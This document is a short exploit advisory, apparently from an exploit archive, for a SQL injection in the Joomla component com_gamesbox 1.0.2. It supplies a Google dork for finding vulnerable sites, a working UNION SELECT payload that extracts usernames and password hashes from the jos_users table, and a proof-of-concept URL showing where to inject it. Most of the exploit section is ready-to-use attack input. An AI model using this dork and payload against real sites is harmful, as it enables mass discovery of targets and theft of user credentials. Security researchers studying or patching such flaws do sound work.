Joomla Component com_gamesbox 1.0.2 SQL Injection Vulnerability

===============================================================
Joomla Component com_gamesbox 1.0.2 SQL Injection Vulnerability
===============================================================


Author      : v3n0m
Site        : http://yogyacarderlink.web.id/
Date        : June, 30-2010
Location    : Jakarta, Indonesia
Time Zone   : GMT +7:00
----------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : Gamesbox
Version     : 1.0.2 Lower versions may also be affected
Vendor      : http://www.jooforge.com/
License     : GPL
Google Dork : inurl:com_gamesbox
Description :
 
Gamesbox is the innovative component developed for Joomlaâ„¢ that allows
you to manage a real and unique portal for videogames.
----------------------------------------------------------------
 
Exploit:
~~~~~~~
-9999+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8+from+jos_users--
 
Poc:
~~~~~~~
 
http://127.0.0.1/[path]/index.php?option=com_gamesbox&view=consoles&layout=console&id=[SQLi]
 
----------------------------------------------------------------



#  0day.today [2018-03-14]  #